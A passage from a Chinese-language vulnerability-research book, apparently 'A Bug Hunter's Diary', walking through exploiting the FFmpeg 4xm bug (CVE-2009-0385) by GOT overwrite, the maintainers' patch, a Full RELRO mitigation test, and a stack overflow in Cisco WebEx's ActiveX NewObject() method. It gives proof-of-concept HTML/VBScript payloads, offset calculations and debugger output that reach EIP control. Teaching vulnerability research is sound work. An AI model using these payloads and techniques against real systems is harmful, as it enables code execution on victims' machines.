该漏洞使我能够用任何 4 字节值覆盖几乎任意的内存地址。为了控制 FFmpeg 的执行流程,我必须覆盖一个允许我控制 EIP 寄存器的内存位置。我必须找到一个稳定的地址,一个在 FFmpeg 地址空间内可预测的地址。这排除了所有进程的栈地址。但 Linux 使用的 可执行和链接格式 (ELF) 提供了一个几乎完美的目标:全局偏移表 (GOT)。FFmpeg 中使用的每个库函数在 GOT 中都有一个引用。通过操作 GOT 条目,我可以轻松地控制执行流程(见第 A.4 节)。GOT 的好处是它是可预测的,这正是我所需要的。我可以通过覆盖在漏洞发生后调用的库函数的 GOT 条目来控制 EIP。
那么,在任意内存写入之后调用的是哪个库函数?为了回答这个问题,我再次查看了源代码:
源代码文件
libavformat/4xm.c
函数
fourxm_read_header()
[..]
184 /* allocate a new AVStream */
`185 st = av_new_stream(s, current_track);`
[..]
在四次内存写入操作之后,使用函数 av_new_stream() 分配了一个新的 AVStream。
源代码文件
libavformat/utils.c
函数
av_new_stream()
[..]
`2271 AVStream *av_new_stream(AVFormatContext *s, int id)`
2272 {
2273 AVStream *st;
2274 int i;
2275
2276 if (s->nb_streams >= MAX_STREAMS)
2277 return NULL;
2278
`2279 st = av_mallocz(sizeof(AVStream));`
[..]
在第 2279 行调用了另一个名为 av_mallocz() 的函数。
源代码文件
libavutil/mem.c
函数
av_mallocz() 和 av_malloc()
[..]
`43 void *av_malloc(unsigned int size)`
44 {
45 void *ptr = NULL;
46 #ifdef CONFIG_MEMALIGN_HACK
47 long diff;
48 #endif
49
50 /* let's disallow possible ambiguous cases */
51 if(size > (INT_MAX-16) )
52 return NULL;
53
54 #ifdef CONFIG_MEMALIGN_HACK
55 ptr = malloc(size+16);
56 if(!ptr)
57 return ptr;
58 diff= ((-(long)ptr - 1)&15) + 1;
59 ptr = (char*)ptr + diff;
60 ((char*)ptr)[-1]= diff;
61 #elif defined (HAVE_POSIX_MEMALIGN)
62 posix_memalign(&ptr,16,size);
63 #elif defined (HAVE_MEMALIGN)
`64 ptr = memalign(16,size);`
[..]
`135 void *av_mallocz(unsigned int size)`
136 {
`137 void *ptr = av_malloc(size);`
138 if (ptr)
139 memset(ptr, 0, size);
140 return ptr;
141 }
[..]
在第 137 行调用了函数 av_malloc(),并在第 64 行调用了 memalign()(在 Ubuntu Linux 9.04 平台上使用其他 ifdef 的情况——第 54 行和第 61 行——未定义)。当我看到 memalign() 时,我非常兴奋,因为它正是我所寻找的:一个在漏洞发生后直接调用的库函数(见 图 4-6 的调用图"))。

图 4-6. 从易受攻击的函数到 memalign() 的调用图
这让我产生了下一个问题:FFmpeg 中 memalign() 的 GOT 条目的地址是什么?
我通过 objdump 获取了以下信息:
linux$ `objdump -R ffmpeg_g | grep memalign`
08560204 R_386_JUMP_SLOT posix_memalign
因此,我需要覆盖的地址是 0x08560204。我只需要计算 track number (current_track) 的适当值。我可以通过两种方式获得这个值:我可以尝试计算它,或者我可以使用暴力搜索。我选择了简单的方法,并编写了以下程序:
示例 4-1. 使用暴力搜索找到 current_track 的适当值的小助手程序 (addr_brute_force.c)
01 #include <stdio.h>
02
03 // GOT entry address of memalign()
04 #define MEMALIGN_GOT_ADDR 0x08560204
05
06 // Min and max value for 'current_track'
07 #define SEARCH_START 0x80000000
08 #define SEARCH_END 0xFFFFFFFF
09
10 int
11 main (void)
12 {
13 unsigned int a, b = 0;
14
15 for (a = SEARCH_START; a < SEARCH_END; a++) {
16 b = (a * 20) + 0x10;
17 if (b == MEMALIGN_GOT_ADDR) {
18 printf ("Value for 'current_track': %08x\n", a);
19 return 0;
20 }
21 }
22
23 printf ("No valid value for 'current_track' found.\n");
24
25 return 1;
26 }
示例 4-1 中展示的程序使用暴力搜索找到一个合适的track number(current_track)值,这是覆盖第 4 行定义的(GOT)地址所需的。这是通过尝试所有可能的current_track值,直到计算结果(参见第 16 行)与搜索的memalign() GOT 条目地址匹配(参见第 17 行)来完成的。为了触发漏洞,current_track必须解释为负值,因此只有0x80000000到0xffffffff范围内的值被考虑(参见第 15 行)。
示例:
linux$ `gcc -o addr_brute_force addr_brute_force.c`
linux$ `./addr_brute_force`
Value for 'current_track': 8d378019
我随后调整了样本文件,并将其重命名为poc2.4xm。
我唯一更改的是track number的值(参见图 4-7 中的(1))。现在它匹配了我那个小助手程序生成的值。

图 4-7. 调整了track number(current_track)后的poc2.4xm的strk chunk
我随后在调试器中测试了新的概念验证文件(有关以下调试器命令的描述,请参阅 B.4 节)。
linux$ `gdb -q ./ffmpeg_g`
(gdb) `run -i poc2.4xm`
Starting program: /home/tk/BHD/ffmpeg/ffmpeg_g -i poc2.4xm
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration:
libavutil 49.12\. 0 / 49.12\. 0
libavcodec 52.10\. 0 / 52.10\. 0
libavformat 52.23\. 1 / 52.23\. 1
libavdevice 52\. 1\. 0 / 52\. 1\. 0
built on Jan 24 2009 02:30:50, gcc: 4.3.3
Program received signal SIGSEGV, Segmentation fault.
`0xbbbbbbbb in ?? ()`
(gdb) `info registers`
eax 0xbfc1ddd0 −1077813808
ecx 0x9f69400 167154688
edx 0x9f60330 167117616
ebx 0x0 0
esp 0xbfc1ddac 0xbfc1ddac
ebp 0x85601f4 0x85601f4
esi 0x164 356
edi 0x9f60330 167117616
`eip 0xbbbbbbbb 0xbbbbbbbb`
eflags 0x10293 [ CF AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Bingo!完全控制EIP。在我控制了指令指针之后,我为该漏洞开发了一个漏洞利用程序。我使用 VLC 媒体播放器作为注入向量,因为它使用了有漏洞的 FFmpeg 版本。
正如我在前面的章节中提到的,德国的法律不允许我提供完整的漏洞利用程序,但您可以在本书的网站上观看我录制的一段简短视频,展示漏洞在实际操作中的效果。41]
图 4-8 总结了用于利用漏洞的步骤。图中展示了该漏洞的解剖结构:
-
在使用
current_track作为索引时计算内存写入的地址(NULL+current_track+ 偏移量)。current_track的值来自 4xm 媒体文件的用户控制数据。 -
内存写入的源数据来自媒体文件的用户控制数据。
-
用户控制的数据被复制到
memalign()GOT 条目的内存位置。

图 4-8. 我利用 FFmpeg 漏洞的示意图
4.3 漏洞修复
注意
星期二,2009 年 1 月 27 日
在我将该漏洞告知 FFmpeg 维护者之后,他们开发了以下补丁。42]
--- a/libavformat/4xm.c
+++ b/libavformat/4xm.c
@@ −166,12 +166,13 @@ static int fourxm_read_header(AVFormatContext *s,
goto fail;
}
current_track = AV_RL32(&header[i + 8]);
`+ if((unsigned)current_track >= UINT_MAX / sizeof(AudioTrack) - 1){`
`+ av_log(s, AV_LOG_ERROR, "current_track too large\n");`
`+ ret= −1;`
`+ goto fail;`
`+ }`
if (current_track + 1 > fourxm->track_count) {
fourxm->track_count = current_track + 1;
`- if((unsigned)fourxm->track_count >= UINT_MAX / sizeof(AudioTrack)){`
`- ret= −1;`
`- goto fail;`
`- }`
fourxm->tracks = av_realloc(fourxm->tracks,
fourxm->track_count * sizeof(AudioTrack));
if (!fourxm->tracks) {
该补丁应用了一个新的长度检查,将current_track的最大值限制为0x09249247。
(UINT_MAX / sizeof(AudioTrack) - 1) - 1 = maximum allowed value for current_track
(0xffffffff / 0x1c - 1) - 1 = 0x09249247
当补丁到位时,current_track 不能变为负数,漏洞确实得到了修复。
此补丁消除了源代码级别的漏洞。还有一个通用的漏洞缓解技术,这将使利用该漏洞变得更加困难。为了控制执行流程,我必须覆盖一个内存位置以控制 EIP。在这个例子中,我使用了 GOT 条目。RELRO 缓解技术有一个名为 Full RELRO 的操作模式,该模式将 GOT 映射为只读,从而使得无法使用描述的 GOT 覆写技术来控制 FFmpeg 的执行流程。然而,其他不受 RELRO 缓解的技术仍然允许控制 EIP。
注意
有关 RELRO 缓解技术的更多信息,请参见第 C.2 节。
要使用 Full RELRO 缓解技术,FFmpeg 二进制文件需要重新编译,并添加以下链接器选项:-Wl,-z,relro,-z,now。
使用 Full RELRO 支持重新编译 FFmpeg 的示例:
linux$ `./configure --extra-ldflags="-Wl,-z,relro,-z,now"`
linux$ `make`
获取 memalign() 的 GOT 条目:
linux$ `objdump -R ./ffmpeg_g | grep memalign`
0855ffd0 R_386_JUMP_SLOT posix_memalign
调整 示例 4-1 并使用暴力破解获取 current_track 的值:
linux$ `./addr_brute_force`
Value for 'current_track': 806ab330
创建一个新的概念验证文件(poc_relro.4xm)并在调试器中测试它(有关以下调试器命令的描述,请参见第 B.4 节):
linux$ `gdb -q ./ffmpeg_g`
(gdb) `set disassembly-flavor intel`
(gdb) `run -i poc_relro.4xm`
Starting program: /home/tk/BHD/ffmpeg_relro/ffmpeg_g -i poc_relro.4xm
FFmpeg version SVN-r16556, Copyright (c) 2000-2009 Fabrice Bellard, et al.
configuration: --extra-ldflags=-Wl,-z,relro,-z,now
libavutil 49.12\. 0 / 49.12\. 0
libavcodec 52.10\. 0 / 52.10\. 0
libavformat 52.23\. 1 / 52.23\. 1
libavdevice 52\. 1\. 0 / 52\. 1\. 0
built on Jan 24 2009 09:07:58, gcc: 4.3.3
Program received signal SIGSEGV, Segmentation fault.
0x0809c89d in fourxm_read_header (s=0xa836330, ap=0xbfb19674) at libavformat/4xm.c:178
178 fourxm->tracks[current_track].adpcm = AV_RL32(&header[i + 12]);
在尝试解析损坏的媒体文件时,FFmpeg 再次崩溃。为了查看导致崩溃的确切原因,我要求调试器显示 FFmpeg 当前寄存器的值以及最后执行的指令:
(gdb) `info registers`
eax 0xbbbbbbbb −1145324613
ecx 0xa83f3e0 176419808
edx 0x0 0
ebx 0x806ab330 −2140490960
esp 0xbfb194f0 0xbfb194f0
ebp 0x855ffc0 0x855ffc0
esi 0xa83f3a0 176419744
edi 0xa83f330 176419632
eip 0x809c89d 0x809c89d <fourxm_read_header+509>
eflags 0x10206 [ PF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) `x/1i $eip`
0x809c89d <fourxm_read_header+509>: mov DWORD PTR [edx+ebp*1+0x10],eax
我还显示了 FFmpeg 尝试存储 EAX 值的地址:
(gdb) `x/1x $edx+$ebp+0x10`
0x855ffd0 <_GLOBAL_OFFSET_TABLE_+528>: 0xb7dd4d40
如预期的那样,FFmpeg 尝试将 EAX 的值写入 memalign() 的 GOT 条目的提供地址(0x855ffd0)。
(gdb) `shell cat /proc/$(pidof ffmpeg_g)/maps`
08048000-0855f000 r-xp 00000000 08:01 101582 /home/tk/BHD/ffmpeg_relro/ffmpeg_g
`0855f000-08560000 r--p 00516000 08:01 101582 /home/tk/BHD/ffmpeg_relro/ffmpeg_g`
08560000-0856c000 rw-p 00517000 08:01 101582 /home/tk/BHD/ffmpeg_relro/ffmpeg_g
0856c000-0888c000 rw-p 0856c000 00:00 0
0a834000-0a855000 rw-p 0a834000 00:00 0 [heap]
b7d60000-b7d61000 rw-p b7d60000 00:00 0
b7d61000-b7ebd000 r-xp 00000000 08:01 148202 /lib/tls/i686/cmov/libc-2.9.so
b7ebd000-b7ebe000 ---p 0015c000 08:01 148202 /lib/tls/i686/cmov/libc-2.9.so
b7ebe000-b7ec0000 r--p 0015c000 08:01 148202 /lib/tls/i686/cmov/libc-2.9.so
b7ec0000-b7ec1000 rw-p 0015e000 08:01 148202 /lib/tls/i686/cmov/libc-2.9.so
b7ec1000-b7ec5000 rw-p b7ec1000 00:00 0
b7ec5000-b7ec7000 r-xp 00000000 08:01 148208 /lib/tls/i686/cmov/libdl-2.9.so
b7ec7000-b7ec8000 r--p 00001000 08:01 148208 /lib/tls/i686/cmov/libdl-2.9.so
b7ec8000-b7ec9000 rw-p 00002000 08:01 148208 /lib/tls/i686/cmov/libdl-2.9.so
b7ec9000-b7eed000 r-xp 00000000 08:01 148210 /lib/tls/i686/cmov/libm-2.9.so
b7eed000-b7eee000 r--p 00023000 08:01 148210 /lib/tls/i686/cmov/libm-2.9.so
b7eee000-b7eef000 rw-p 00024000 08:01 148210 /lib/tls/i686/cmov/libm-2.9.so
b7efc000-b7efe000 rw-p b7efc000 00:00 0
b7efe000-b7eff000 r-xp b7efe000 00:00 0 [vdso]
b7eff000-b7f1b000 r-xp 00000000 08:01 130839 /lib/ld-2.9.so
b7f1b000-b7f1c000 r--p 0001b000 08:01 130839 /lib/ld-2.9.so
b7f1c000-b7f1d000 rw-p 0001c000 08:01 130839 /lib/ld-2.9.so
bfb07000-bfb1c000 rw-p bffeb000 00:00 0 [stack]
这次 FFmpeg 在尝试覆盖只读的 GOT 条目时崩溃(参见 GOT 在 0855f000-08560000 的 r--p 权限)。看来 Full RELRO 确实可以成功缓解 GOT 覆写。
4.4 经验教训
作为程序员:
-
不要混合不同的数据类型。
-
了解编译器自动执行的隐藏转换。这些隐式转换很微妙,会导致许多安全漏洞^([43])(也参见第 A.3 节)。
-
确保对 C 的类型转换有扎实的理解。
-
用户空间中并非所有 NULL 指针解引用都是简单的拒绝服务条件。其中一些确实是严重的漏洞,可能导致任意代码执行。
-
完整的 RELRO 有助于缓解 GOT 覆写利用技术。
作为媒体播放器的用户:
- 不要信任媒体文件扩展名(参见第 2.5 节)。
4.5 补遗
注意
2009 年 1 月 28 日,星期三
该漏洞已得到修复(图 4-9])] 该漏洞被分配了 CVE-2009-0385。

图 4-9. 从通知到发布 FFmpeg 修复版本的 FFmpeg 错误时间线
备注
^([37])
^([38])
^([39])
^([40])
^([41])
^([42])
^([43])
^([44])
^([37]) 请参阅wiki.multimedia.cx/index.php?title=YouTube。
^([38]) 请参阅ffmpeg.org/download.html。
^([39]) 请参阅www.trapkit.de/books/bhd/。
^([40]) 有关 4X 电影文件格式的详细描述可以在wiki.multimedia.cx/index.php?title=4xm_Format找到。
^([41]) 请参阅www.trapkit.de/books/bhd/。
^([42]) 可以在git.videolan.org/?p=ffmpeg.git;a=commitdiff;h=0838cfdc8a10185604db5cd9d6bffad71279a0e8找到 FFmpeg 维护者提供的补丁。
^([43]) 关于类型转换和相关安全问题的更多信息,请参考 Mark Dowd, John McDonald 和 Justin Schuh 的《软件安全评估的艺术:识别和预防软件漏洞》(Indianapolis, IN: Addison-Wesley Professional, 2007)。还可以参考ptgmedia.pearsoncmg.com/images/0321444426/samplechapter/Dowd_ch06.pdf提供的样章。
^([44]) 描述 FFmpeg 漏洞详细信息的我的安全警告可以在www.trapkit.de/advisories/TKADV2009-004.txt找到。
第五章。浏览即被控制
注意
2008 年 4 月 6 日,星期日
亲爱的日记,
浏览器和浏览器插件中的漏洞目前非常流行,所以我决定查看一些 ActiveX 控件。我列表上的第一个是思科的在线会议和网页会议软件,名为 WebEx,它在商业中广泛使用。在花了一些时间对 Microsoft 的 Internet Explorer 中的 WebEx ActiveX 控件进行逆向工程之后,我发现了一个明显的错误,如果我用模糊测试而不是阅读汇编代码,我可以在几秒钟内找到这个错误。失败!
5.1 漏洞发现
我使用以下过程来搜索漏洞:
注意
我使用 Windows XP SP3 32 位和 Internet Explorer 6 作为以下所有步骤的平台。
-
第 1 步:列出已注册的 WebEx 对象和导出方法。
-
第 2 步:在浏览器中测试导出方法。
-
第 3 步:在二进制文件中查找对象方法。
-
第 4 步:查找用户可控的输入值。
-
第 5 步:逆向工程对象方法。
注意
可疑版本的 WebEx 会议管理器的下载链接可以在 www.trapkit.de/books/bhd/ 找到。
第 1 步:列出已注册的 WebEx 对象和导出方法。
在下载并安装了 WebEx 会议管理器软件之后,我启动了 COMRaider^([45)) 以生成控制提供给调用者的导出接口列表。我在 COMRaider 中点击了 开始 按钮,并选择 扫描目录以查找已注册的 COM 服务器 来测试安装在 *C:\Program Files\Webex* 中的 WebEx 组件。
如 图 5-1 所示,WebEx 安装目录中注册了两个对象,具有 GUID {32E26FD9-F435-4A20-A561-35D4B987CFDC} 和 ProgID WebexUCFObject.WebexUCFObject.1 的对象实现了 IObjectSafety。由于它被标记为 安全初始化 和 安全脚本,Internet Explorer 将信任此对象。这使得该对象成为“浏览即被控制”攻击的潜在目标,因为可以从网页内部调用其方法.^([46])

图 5-1. COMRaider 中注册的 WebEx 对象
微软还提供了一个名为 ClassId.cs 的方便的 C# 类,该类列出了 ActiveX 控件的各个属性。要使用该类,我在源文件中添加了以下行,并使用 Visual Studio 的 C# 编译器的命令行版本 (csc) 编译它:
[..]
namespace ClassId
{
class ClassId
{
static void Main(string[] args)
{
SWI.ClassId_q.ClassId clsid = new SWI.ClassId_q.ClassId();
if (args.Length == 0 || (args[0].Equals("/?") == true ||
args[0].ToLower().StartsWith("-h") == true) ||
args.Length < 1)
{
Console.WriteLine("Usage: ClassID.exe <CLSID>\n");
return;
}
clsid.set_clsid(args[0]);
System.Console.WriteLine(clsid.ToString());
}
}
}
要编译和使用该工具,我在命令提示符窗口中运行了以下命令:
C:\Documents and Settings\tk\Desktop>`csc /warn:0 /nologo ClassId.cs`
C:\Documents and Settings\tk\Desktop>
`ClassId.exe {32E26FD9-F435-4A20-A561-35D4B987CFDC}`
Clsid: {32E26FD9-F435-4A20-A561-35D4B987CFDC}
Progid: WebexUCFObject.WebexUCFObject.1
Binary Path: C:\Program Files\WebEx\WebEx\824\atucfobj.dll
`Implements IObjectSafety: True`
`Safe For Initialization (IObjectSafety): True`
`Safe For Scripting (IObjectSafety): True`
Safe For Initialization (Registry): False
Safe For Scripting (Registry): False
KillBitted: False
工具的输出显示,该对象确实使用 IObjectSafety 被标记为 安全初始化 和 安全脚本。
我随后在 COMRaider 中点击了 选择 按钮,以查看由具有 GUID {32E26FD9-F435-4A20-A561-35D4B987CFDC} 的对象导出的公共方法列表。如图 图 5-2 所示,该对象导出了一个名为 NewObject() 的方法,并接受一个字符串值作为输入。

图 5-2. 由具有 GUID {32E26FD9-F435-4A20-A561-35D4B987CFDC} 的对象导出的公共方法。
第 2 步:在浏览器中测试导出的方法
在我生成了可用对象和导出方法的列表之后,我编写了一个小的 HTML 文件,该文件使用 VBScript 调用 NewObject() 方法:
示例 5-1. 调用 NewObject() 方法的 HTML 文件 (webex_poc1.html)
01 <html>
02 <title>WebEx PoC 1</title>
03 <body>
04 <object classid="clsid:32E26FD9-F435-4A20-A561-
35D4B987CFDC" id="obj"></object>
05 <script language='vbscript'>
06 arg = String(12, "A")
07 obj.NewObject arg
08 </script>
09 </body>
10 </html>
在 示例 5-1 方法的 HTML 文件 (webex_poc1.html)") 的第 4 行中,实例化了具有 GUID 或 ClassID {32E26FD9-F435-4A20-A561-35D4B987CFDC} 的对象。在第 7 行,使用字符串值 12 作为参数调用了 NewObject() 方法。
为了测试 HTML 文件,我在 Python 中实现了一个小型网络服务器,该服务器会将 webex_poc1.html 文件提供给浏览器(见图 示例 5-2")):
示例 5-2. 在 Python 中实现的简单网络服务器,该服务器将 webex_poc1.html 文件提供给浏览器 (wwwserv.py)
01 import string,cgi
02 from os import curdir, sep
03 from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
04
05 class WWWHandler(BaseHTTPRequestHandler):
06
07 def do_GET(self):
08 try:
09 f = open(curdir + sep + "webex_poc1.html")
10
11 self.send_response(200)
12 self.send_header('Content-type', 'text/html')
13 self.end_headers()
14 self.wfile.write(f.read())
15 f.close()
16
17 return
18
19 except IOError:
20 self.send_error(404,'File Not Found: %s' % self.path)
21
22 def main():
23 try:
24 server = HTTPServer(('', 80), WWWHandler)
25 print 'server started'
26 server.serve_forever()
27 except KeyboardInterrupt:
28 print 'shutting down server'
29 server.socket.close()
30
31 if __name__ == '__main__':
32 main()
虽然 WebEx 的 ActiveX 控件被标记为脚本安全(见图 图 5-1),但它被设计成只能从 webex.com 域运行。实际上,可以通过 WebEx 域中的 跨站脚本 (XSS)^([48]) 漏洞来绕过这一要求。由于 XSS 漏洞在现代网络应用程序中相当普遍,因此在 webex.com 域中识别此类漏洞不应很难。为了在不需要 XSS 漏洞的情况下测试控件,我只需在我的 Windows hosts 文件中添加以下条目(见图 *C:\WINDOWS\system32\drivers\etc\hosts*):
127.0.0.1 localhost, `www.webex.com`
之后,我开始运行我的小型 Python 网络服务器,并将 Internet Explorer 指向 www.webex.com/(见图 图 5-3)。

图 5-3. 使用我的小型 Python 网络服务器测试 webex_poc1.html
第 3 步:在二进制文件中查找对象方法
到目前为止,我收集了以下信息:
-
存在一个具有 ClassID
{32E26FD9-F435-4A20-A561-35D4B987CFDC}的 WebEx 对象。 -
此对象实现了
IObjectSafety接口,因此是一个有潜力的目标,因为其方法可以从浏览器内部调用。 -
该对象导出一个名为
NewObject()的方法,该方法接受一个用户控制的字符串值作为输入。
为了逆向工程导出的 NewObject() 方法,我必须在二进制文件 atucfobj.dll 中找到它。为了实现这一点,我使用了一种类似于 Cody Pierce 在他的优秀 MindshaRE 文章中描述的技术.^([49]) 通用思路是在调试浏览器时从 OLEAUT32!DispCallFunc 的参数中提取被调用方法的地址。
如果一个 ActiveX 控件的方法被调用,DispCallFunc()^([50]) 函数通常会执行实际的调用。此函数由 OLEAUT32.dll 导出。调用方法的地址可以通过 DispCallFunc() 的前两个参数(称为 pvInstance 和 oVft)来确定。
要找到 NewObject() 方法的地址,我从 WinDbg 内启动了 Internet Explorer^([51))(也可以参考 B.2 节中关于调试器命令的描述)并在 OLEAUT32!DispCallFunc 上设置了以下断点(参见图 5-4)):
0:000> `bp OLEAUT32!DispCallFunc "u poi(poi(poi(esp+4))+(poi(esp+8))) L1;gc"`
调试器命令 bp OLEAUT32!DispCallFunc 在 DispCallFunc() 的开始处定义了一个断点。如果断点被触发,则评估函数的前两个参数。第一个函数参数使用命令 poi(poi(esp+4)) 进行引用,第二个参数通过 poi(esp+8) 引用。这些值相加,它们的和代表被调用方法的地址。随后,方法反汇编的第一行(L1)被打印到屏幕上(u poi(result of the computation)),并且控制执行继续(gc)。
然后,我使用 WinDbg 的 g(Go)命令启动了 Internet Explorer,并再次导航到 www.webex.com/。不出所料,WinDbg 中触发的断点显示了 atucfobj.dll 中被调用的 NewObject() 方法的内存地址。
如图 5-5 方法的内存地址")所示,在这个例子中,NewObject()方法的内存地址是0x01d5767f。atucfobj.dll本身在地址0x01d50000处加载(参见图 5-5 方法的内存地址")中的ModLoad: 01d50000 01d69000 C:\Program Files\WebEx\WebEx\824\atucfobj.dll)。因此,atucfobj.dll中NewObject()的偏移量是0x01d5767f - 0x01d50000 = 0x767F。

图 5-4. 在 Internet Explorer 中在OLEAUT32!DispCallFunc处设置断点

图 5-5. WinDbg 显示NewObject()方法的内存地址
第 4 步:查找用户可控输入值
接下来,我使用 IDA Pro 反汇编了二进制文件C:\Program Files\WebEx\WebEx\824\atucfobj.dll。在 IDA 中,atucfobj.dll的 imagebase 是0x10000000。因此,NewObject()在反汇编中的地址是0x1000767f(imagebase + NewObject()的偏移量:0x10000000 + 0x767F)(参见图 5-6 方法的反汇编"))。

图 5-6. IDA Pro 中NewObject()方法的反汇编
在我开始阅读汇编代码之前,我必须确保哪个函数参数持有通过示例 5-1 方法的 HTML 文件 (webex_poc1.html)")中的 VBScript 提供的用户可控字符串值。由于参数是一个字符串,我猜测我的值被保存在 IDA 中显示的第二个参数lpWideCharStr中。然而,我想确保这一点,因此我在NewObject()方法处定义了一个新的断点,并在调试器中查看参数(有关以下调试器命令的描述,请参见 B.2 节)。
如 图 5-7 的用户控制参数") 所示,我在 NewObject() 的地址处定义了一个新的断点(0:009> bp 01d5767f),继续执行 Internet Explorer (0:009> g),并再次导航到 www.webex.com/ 域。当断点被触发时,我检查了 NewObject() 的第二个函数参数的值(0:000> dd poi(esp+8) 和 0:000> du poi(esp+8))。如调试器输出所示,用户控制的数据(由 12 个 A 组成的宽字符字符串)确实通过第二个参数传递给了该函数。
最后,我拥有了开始审计安全漏洞所需的所有信息。

图 5-7. 定义新断点后 NewObject() 的用户控制参数
第 5 步:逆向工程对象方法
回顾一下,我发现了一个明显的漏洞,这个漏洞发生在 ActiveX 控件处理传递给 NewObject() 的用户提供的字符串值时。图 5-8") 展示了到达有漏洞函数的代码路径。

图 5-8. 到达有漏洞函数的代码路径(由 IDA Pro 创建)
在 sub_1000767F 中,使用 WideCharToMultiByte() 函数将用户提供的宽字符字符串转换为字符字符串。之后,调用 sub_10009642,并将用户控制的字符字符串复制到另一个缓冲区。sub_10009642 中的代码允许最多复制 256 个用户控制的字节到这个新的字符缓冲区(伪 C 代码:strncpy (new_buffer, user_controlled_string, 256))。调用 sub_10009826 函数,它随后调用 sub_100096D0,然后调用有漏洞的函数 sub_1000B37D。
示例 5-3. 有漏洞函数 sub_1000B37D 的反汇编(由 IDA Pro 创建)
[..]
.text:1000B37D ; int __cdecl sub_1000B37D(`DWORD cbData`,
LPBYTE lpData, int, int, int)
.text:1000B37D sub_1000B37D proc near
.text:1000B37D
`.text:1000B37D SubKey= byte ptr −10Ch`
.text:1000B37D Type= dword ptr −8
.text:1000B37D hKey= dword ptr −4
.text:1000B37D cbData= dword ptr 8
.text:1000B37D lpData= dword ptr 0Ch
.text:1000B37D arg_8= dword ptr 10h
.text:1000B37D arg_C= dword ptr 14h
.text:1000B37D arg_10= dword ptr 18h
.text:1000B37D
.text:1000B37D push ebp
.text:1000B37E mov ebp, esp
.text:1000B380 sub esp, 10Ch
.text:1000B386 push edi
`.text:1000B387 lea eax, [ebp+SubKey] ; the address of SubKey is saved in eax`
`.text:1000B38D push [ebp+cbData] ; 4th parameter of sprintf(): cbData`
.text:1000B390 xor edi, edi
`.text:1000B392 push offset aAuthoring ; 3rd parameter of sprintf(): "Authoring"`
`.text:1000B397 push offset aSoftwareWebexU ;`
`2nd parameter of sprintf(): "SOFTWARE\\..`
`.text:1000B397 ; ..Webex\\UCF\\Components\\%s\\%s\\Install"`
`.text:1000B39C push eax ; 1st parameter of`
`sprintf(): address of SubKey`
`.text:1000B39D call ds:sprintf ; call to sprintf()`
[..]
`.data:10012228 ; char aSoftwareWebexU[]`
`.data:10012228 aSoftwareWebexU db 'SOFTWARE\Webex\UCF\Components\%s\%s\Install',0`
[..]
sub_1000B37D的第一个参数,称为cbData,包含指向存储在新字符缓冲区中的用户控制数据的指针(参见图 5-8")描述中的new_buffer)。正如我之前所说的,用户控制的宽字符数据以最大长度为 256 字节的字符串形式存储在这个新缓冲区中。示例 5-3 显示,地址.text:1000B39D处的sprintf()函数将cbData指向的用户控制数据复制到名为SubKey的堆栈缓冲区(参见.text:1000B387和.text:1000B39C)。
接下来,我尝试检索这个SubKey堆栈缓冲区的大小。通过按 ctrl-k 键,我打开了 IDA Pro 的默认堆栈帧显示。如图图 5-9 所示,SubKey堆栈缓冲区具有固定的 260 字节大小。如果将示例 5-3 中显示的汇编信息与受害函数的堆栈布局信息相结合,则sprintf()的调用可以用示例 5-4 的伪 C 代码")中的 C 代码表示。

图 5-9. 使用 IDA Pro 的默认堆栈帧显示确定SubKey堆栈缓冲区的大小
示例 5-4. 受害调用sprintf()的伪 C 代码
[..]
int
sub_1000B37D(DWORD cbData, LPBYTE lpData, int val1, int val2, int val3)
{
char SubKey[260];
sprintf(&SubKey, "SOFTWARE\\Webex\\UCF\\Components\\%s\\%s\\Install",
"Authoring", cbData);
[..]
sprintf()库函数将cbData中的用户控制数据以及字符串“Authoring”(9 字节)和格式字符串(39 字节)复制到SubKey中。如果cbData填充了最大量的用户控制数据(256 字节),则总共将复制 304 字节的数据到堆栈缓冲区。SubKey只能容纳最多 260 字节,且sprintf()不执行任何长度检查。因此,如图图 5-10 时发生的堆栈缓冲区溢出图")所示,有可能将用户控制数据写入SubKey的边界之外,从而导致堆栈缓冲区溢出(参见附录 A.1)。

图 5-10. 将过长的字符串传递给NewObject()时发生的堆栈缓冲区溢出图
5.2 利用
找到漏洞后,利用起来很简单。我只需要调整传递给 NewObject() 的字符串参数的长度,以溢出栈缓冲区并控制当前栈帧的返回地址。
如 图 5-9 所示,SubKey 缓冲区到栈上保存的返回地址的距离是 272 字节(保存的返回地址的偏移量 (+00000004) 减去 SubKey 的偏移量 (−0000010C): 0x4 - −0x10c = 0x110 (272))。我还必须考虑到字符串 “Authoring” 和部分格式字符串将在用户控制数据之前被复制到 SubKey 中(参见 图 5-10 的字符串过长时发生的栈缓冲区溢出示意图"))。总的来说,我必须从 SubKey 和保存的返回地址之间的距离中减去 40 字节(“SOFTWARE\Webex\UCF\Components\Authoring\”)。所以,我必须提供 232 字节(272 - 40 = 232)的虚拟数据来填充栈并达到保存的返回地址。然后,用户控制数据的接下来的 4 个字节应该覆盖栈上保存的返回地址的值。
因此,我更改了 webex_poc1.html 第 6 行提供的字符数,并将新文件命名为 webex_poc2.html(参见 示例 5-5 方法的过长字符串的 HTML 文件 (webex_poc2.html)")):
示例 5-5. 传递给 NewObject() 方法的过长字符串的 HTML 文件 (webex_poc2.html)
01 <html>
02 <title>WebEx PoC 2</title>
03 <body>
04 <object classid="clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC"
id="obj"></object>
05 <script language='vbscript'>
`06 arg = String(232, "A") + String(4, "B")`
07 obj.NewObject arg
08 </script>
09 </body>
10 </html>
然后,我将小型的 Python 网络服务器调整为服务新的 HTML 文件。
原始的 wwwserv.py:
09 f = open(curdir + sep + "`webex_poc1.html`")
调整后的 wwwserv.py:
09 f = open(curdir + sep + "`webex_poc2.html`")
我重新启动了网络服务器,在 WinDbg 中加载了 Internet Explorer,并再次导航到 www.webex.com/。
如 图 5-11 所示,我现在完全控制了 EIP。该漏洞可以很容易地通过已知的堆喷射技术被用于任意代码执行。

图 5-11. Internet Explorer 的 EIP 控制
正如往常一样,德国法律阻止我提供完整的有效利用代码,但如果你感兴趣,你可以在本书网站上观看我录制的一段简短视频,展示了利用代码在书网站上的实际操作.^([53])
